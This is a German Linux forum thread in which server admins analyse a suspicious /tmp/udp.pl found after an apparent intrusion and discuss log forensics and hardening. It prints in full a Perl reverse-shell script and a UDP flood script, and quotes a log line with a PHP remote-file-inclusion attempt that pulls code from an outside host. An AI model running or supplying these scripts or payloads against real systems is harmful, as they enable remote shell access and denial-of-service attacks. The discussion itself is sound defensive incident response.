Merwürdige datei im ordner /tmp bei mir

[blnsnoopy26]

Hi,

Beim Täglichen durchstöbern meines Systems entdeckte ich folgende Datei die sich "udp.pl" nennt...

Hier der Inhalt:

Code: Select all

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");

Kann mir jemand sagen was dieses Perlscript tut bzw. versucht?
Das Perlscript wurde aber mit meinen userrechten angelegt und nicht als Root.

Code: Select all

-rw-r--r--   1 web users 346 2006-06-14 17:24 udp.pl

Was ich da erkennen kann ist das jedenfalls die Kernelinfo ausgelesen werden soll .. erkennbar an dem uname -a - alles andere sagt mir jetzt nicht viel.

Daher ich php als CGI laufen lasse und suphp überall einsetze, wird derjenige nicht weit gekommen sein, aber dennoch macht man sich Gedanken.

Direkter Rootlogin ist auch Gepserrt und es ist nur ein Login mittels Key möglich.

Ich Stöber mal bei meinen anderen Logs ein wenig rum, ob nicht noch irgendwo was auffälliges vorhanden ist. Mein OS halte ich eigentlich immer Up to Date, sprich Security Fixes und setze auch auf einen Kernel mit GRSEC.

Naja mal sehn was sich noch so finden lässt.
Werde das /tmp Verzeichnis wohl noexec mounten... ist zwar kein 100% schutz, aber eine kleine Barriere für den Angreifer.

[daemotron]

Tja, wenn ich das Sript richtig lese, dann öffnet es eine TCP-Verbindung - IP-Adresse und Port werden als Parameter angegeben.
STDIN, STDOUT und STDERR werden anschließend auf diese Verbindung umgeleitet und dann der von Dir schon angesprochene Befehl abgesetzt.

Werde das /tmp Verzeichnis wohl noexec mounten...

Hätte in dem Fall auch nicht viel gebracht - das Script ist ohnehin nicht als ausführbar markiert...

Ich Stöber mal bei meinen anderen Logs ein wenig rum, ob nicht noch irgendwo was auffälliges vorhanden ist. Mein OS halte ich eigentlich immer Up to Date, sprich Security Fixes und setze auch auf einen Kernel mit GRSEC.

Ich würde mal auf ein nicht mehr ganz so aktuelles PHP-Skript tippen...

[blnsnoopy26]

Erstmal danke für deine Antwort.
Werd mal schauen, welches Script ne Lücke aufweist und diese Lücke dann stopfen und hoffen das sich das nicht wiederholt.

Werde mal die ganzen Apache2 logs durchgehen und dann mal schauen.

[blnsnoopy26]

Konnte leider nix finden was darauf hinweist worüber die Datei in den TMP Ordner gekommen ist. Bin jetzt sämtliche Logs durchgegangen.

das einzige was in betracht käme ist eine Gallery namens 4images die ich am 12.6.2006 installiert habe und 2 tage später hatte ich dann diese udp.pl drauf...wäre ne Möglichkeit.

Aber da habe ich die neuste Version drauf.
Werd mal ein wenig Googeln.

[daemotron]

Mal nach udp.pl gegoogled - hat u.a. das hier zutage gefördert: http://www.bugat.at/pipermail/bugat-cha ... 00832.html
Hast Du in Deinen Apache-Logs irgendwo mal ein wget gefunden? Oder hast Du vielleicht den Eindruck, die Logs könnten manipuliert worden sein?

Werde das /tmp Verzeichnis wohl noexec mounten...

Hätte in dem Fall auch nicht viel gebracht - das Script ist ohnehin nicht als ausführbar markiert...

Mal abgesehen davon - wenn ein Bug die Ausführung von wget zulässt, dann klappt auch ein

Code: Select all

/usr/bin/perl -w /tmp/udp.pl

Dafür braucht's dann nur lesenden Zugriff auf die udp.pl, und der war ja sogar für others gegeben...

Mir wäre das nicht so geheuer => Ich würd über ne Neuinstallation der Kiste nachdenken...

EDIT: Auf das hier bin ich auch noch gestoßen: http://www.linuxquestions.org/questions ... p?t=205751. Weiter unten ist ein Beitrag, der folgendes aussagt:

Vadmin and udp.pl are flooders used in DoS attacks.

Jetzt verstehe ich auch, warum das Script nur eine TCP-Verbindung aufbaut und sinnlos Daten rauspustet... Ich würd mal sagen, das war ein schlechter Versuch eines Skript-Kiddies, der dann an Deinen Sicherheitsmechanismen gescheitert ist...

[blnsnoopy26]

Hi,

also wenn das eine DDOS verursachen kann, dann habe ich von meinem anbieter erfahren das gegen meinem Server ein DDOS gelaufen ist - ist aber schon etwas länger her, aber mehr werde ich noch erfahren.

Hab demjenigen mal per ICQ kontaktiert er wird mir sagen wann genau das gewesen ist.

Nach wget habe ich jetzt noch nicht gesucht. Eine Manipulation der Logs ist bisher nicht zu finden.

edit:

also von wget ist in den Apache logs nichts zu finden.
Zumindest fördert ein cat access_log | grep wget nichts zu tage.

nur in der messages datei aber nur als user der versucht sich einzuloggen.

Code: Select all

Jun 14 13:20:47 linux sshd[3447]: Invalid user wget from ::ffff:202.78.87.130
Jun 14 13:32:12 linux sshd[28894]: Invalid user wget from ::ffff:202.78.87.130
Jun 20 09:42:57 linux sshd[29835]: Invalid user wget from ::ffff:218.223.29.156
Jun 20 09:51:08 linux sshd[28065]: Invalid user wget from ::ffff:218.223.29.156
Jun 20 11:47:18 linux sshd[12303]: Invalid user wget from ::ffff:212.227.103.90
Jun 20 22:11:38 linux sshd[5824]: Invalid user wget from ::ffff:212.227.103.90
Jun 21 12:01:08 linux sshd[12043]: Invalid user wget from ::ffff:80.203.198.86

[lord_pinhead]

Aus der hüfte geschossen

Code: Select all

grep -e "[wget|curl|udp|tmp]" /var/log/apache/access.log

Hast du rein zufällig Userlogs für die einzelnen Domains?

[blnsnoopy26]

Aus der hüfte geschossen

Code: Select all

grep -e "[wget|curl|udp|tmp]" /var/log/apache/access.log

Hast du rein zufällig Userlogs für die einzelnen Domains?

Ich Bin der einzige auf der Kiste, weil hoste keine Kunden.
Werd mal dein Vorschlag mit der suche bei mir beginnen.

edit:

Also es ist da nichts zu finden und auch nichts was ungewöhnlich wäre. Werde es aber mal beobachten.

[lord_pinhead]

Es kann auch sein das es ganz anders ablief. Es muss kein wget oder curl gewesen sein, ein Aufruf zu einem Externen Server mit einem Script bringt das selbe ergebniss. Sowas wie

Code: Select all

grep "=http://" apache_log

könnte vielleicht etwas finden. Die Aufrufe sind relativ häufig bei mir in der audit.log, würde eher danach suchen. Mal ein Auszug aus meiner Access Log

211.213.178.106 - - [19/Jun/2006:23:31:27 +0200] "GET /home/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://220.194.57.112/~photo/cm?&cmd=cd ... o.com;echo| HTTP/1.1" 500 544 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

Das gab fehler 500 zurück dank mod_sec. Aber die Aufrufe hab ich massig in den Logfiles.

[blnsnoopy26]

Hi,

Solche einträge habe ich bei mir nicht vorgefunden, aber ich habe mal das 4images Gallery Script runter genommen. Wenn sich das jetzt nicht wiederholt, dann dürfte es dann gewesen sein.

Alle anderen Scripte setze ich seit jahren ein und die sind gut Programiert und immer up to date. nur das 4images Script war neu und es passt auch in den Zeitrahmen.

Mal sehn, ob sich das nun wiederholt.

Desweiteren ist es dem user von nunan untersagt wget zu benutzen.

Code: Select all

user@linux:~> wget
-bash: /usr/bin/wget: Keine Berechtigung

Bin auch am überlegen das mod_security wieder drauf zu packen, um es ein wenig weiter zu bremsen.

[lord_pinhead]

4Images wird nicht wirklich weiter Supportet, das macht eher die Community. Weder die neusten Mysql Versionen funktionieren bei 4Images, noch die Sicherheitspatches kommen schnell. Also würde ich mich eher nach einer neuen Software umsehen oder es einfach lassen. Safemode mit 4Images z.b. ist leichter Horror ;)

[blnsnoopy26]

4Images wird nicht wirklich weiter Supportet, das macht eher die Community. Weder die neusten Mysql Versionen funktionieren bei 4Images, noch die Sicherheitspatches kommen schnell. Also würde ich mich eher nach einer neuen Software umsehen oder es einfach lassen. Safemode mit 4Images z.b. ist leichter Horror ;)

kennste ne Alternative in der form was 4images bietet?
Dann könnte ich auf was anderes umsteigen.

[oxygen]

http://gallery.sf.net

[blnsnoopy26]

http://gallery.sf.net

sieht schon einmal ganz nett aus
Gibs sowas auch komplett in Deutsch - kennt da jemand was?

[duergner]

Was heisst denn komplett in Deutsch? Fuer Gallery2 gibt es soweit ich das im Kopf habe eine komplette deutsche Lokalisierung.

[Anonymous]

Hi,

Beim Täglichen durchstöbern meines Systems entdeckte ich folgende Datei die sich "udp.pl" nennt...

schau mal in /tmp/shfm ob da nen bot abliegt..

das scheint zu einem botnet zu gehoeren, das im undernet untergekommen ist..

mir schon mehrfach ueber den weg gelaufen in letzter zeit.. und nicht einfach mit #ls guggen, das verzeichnis ist hidden..

[sledge0303]

Ich habe ebend mal den Server eines meiner neuen Clienten geprüft und habe das gefunden:

/tmp/udp.pl

Code: Select all

#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>n";
 printf "if arg1/2 =0, randports/continous packets.n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1]; 
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "udp flood - odixn";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &"); 
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
} 

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Code: Select all

/tmp/shfm

Habe ich aber nicht gefunden, weder in /tmp oder sonstigen Verzeichnis.

[blnsnoopy26]

Hi,

Eine andere Variante von der udp.pl Datei.
Diese udp Datei scheint mehrere Varianten zu haben.

Ich hatte die Vermutung das es bei mir an der Gallery 4images lag.... musst mal bei dir schauen wie diese Datei auf dein System gelangt ist.

[sledge0303]

Ich hab den Auftrag erst gestern Nachmittag, kurz vor dem Fussballspiel, reinbekommen. Ist so ein Kunde nach dem Motto "Ich habe ja Plesk und damit ist mein Server gleichzeitig bombensicher..."
Wurde auch schon mal die gerootet die Kiste, muss so 8-12 Wochen her sein. Es rennen ein Haufen Javaskripte in Form von Onlinepräsentationen drauf.
Da wurde aufgrund des irrglaubens der Sicherheit durch Plesk nichts installiert was den Server absichert.
Naja...

[blnsnoopy26]

Bei mir was es so das ich trotz vieler Sicherheits Mechanismen trotzdem so eine Datei drinnen hatte - da kann man mal sehn wie schnell sowas geht.

Bisher hat sich das bei mir nicht mehr wiederholt.

[daemotron]

Na ja, das Ablegen von Dateien in /tmp (oder ein vhost-spezifisches temporäres Verzeichnis, ich verwende das mal synonym) kann man kaum mit herkömmlichen Mitteln vereiteln - open_basedir hilft ein bisschen, aber mit dem "normalen" Berechtigungskonzept kommt man nicht allzu weit - man kann ja www oder unter welchem User der Apache läuft nicht explizit ausschließen. Zumal ja i.d.R. Session-Daten in /tmp abgelegt werden oder Datei-Uploads ebenfalls über ein temporäres Verzeichnis laufen. Die Frage ist nur, ob ein Angreifer dann in der Lage ist, die hochgeladene Datei auch auszuführen - hiergegen kann man sich allerdings sehr gut wehren (z. B. /tmp mit noexec mounten, suexec nutzen etc.)

Zusätzlich kann man natürlich auf sicher programmierte Skripte achten - MIME Type-Prüfungen sollten eigentlich bei uploadfähigen Skripten oder CGIs Standard sein. Kritisch wird's dann allerdings, wenn man Kunden hostet und diese einfach hochschieben, was ihnen gerade in den Sinn kommt. Mod_security ist ein Ansatz, den httpd in eine chroot-Umgebung oder ein Jail sperren eine andere. Letzteres taugt allerdings eher als Schadensbegrenzungsmaßnahme...

[sledge0303]

@jfreund

Jau, da hast vollkommen recht. Ich werde nach Rücksprache mit dem Kunden das Teil neu installieren mit entsprechenden Sicherheitsmaßnahmen wie mod_security.
Was mir aber noch an der Datei aufgefallen ist, die merkwürdige Berechtigung, da ist keine 1 enthalten. 644 hatte diese um genau zu sein. Schätze mal eher es war ein wannabe Hacker am Werk.

[daemotron]

Nicht unbedingt... Da es sich um ein Perl-Skript handelt, muss es nicht einmal mit Ausführungsberechtigung versehen sein. Ein simples

Code: Select all

/usr/bin/perl -w /tmp/udp.pl

müsste genügen, um das Skript auszuführen - genaugenommen wird ja der Perl-Interpreter ausgeführt und nicht das Skript. Das lässt sich aber durch den Einsatz von suexec verhindern.

Außerdem gibt es hostbasierte IDSe, die nur auf ausführbare Dateien anspringen (je nach Konfiguration) und folglich eine Datei mit 644-Berechtigung einfach links liegen lassen... Was trotzdem nicht heißen muss, dass da nicht einfach nur ein (dämliches) Skriptkiddy an Standard-Sicherheitsmechanismen gescheitert ist

mod_security hab ich bei mir auch laufen - allerdings drückt das Ding gerade bei komplexen Seiten (z. B. Typo3-Backend 8) ) ziemlich auf die Performance. Ansonsten sehr empfehlenswert, es bringt aber nur was, wenn Du die Regeln gründlich auf Deine (Sicherheits-)Bedürfnisse abstimmst.

[sledge0303]

Ist natürlich auch wieder wahr... :?
Ich muss mir eh noch ein Sicherheitskonzept mit mod_security ausdenken, die ganzen Onlinepräsentationen dürfen nicht beeinträchtigt werden.
Teilweise hat der Server 3 gleichzeitige Anfragen für Präsentationen zu bewältigen und der Rootie hat nur 512MB Speicher zur Verfügung. Mailserver läuft auch noch drauf und eine Schnittstelle für die Kommunikation zwischen in- und externen Mitarbeitern ist auch vorhanden...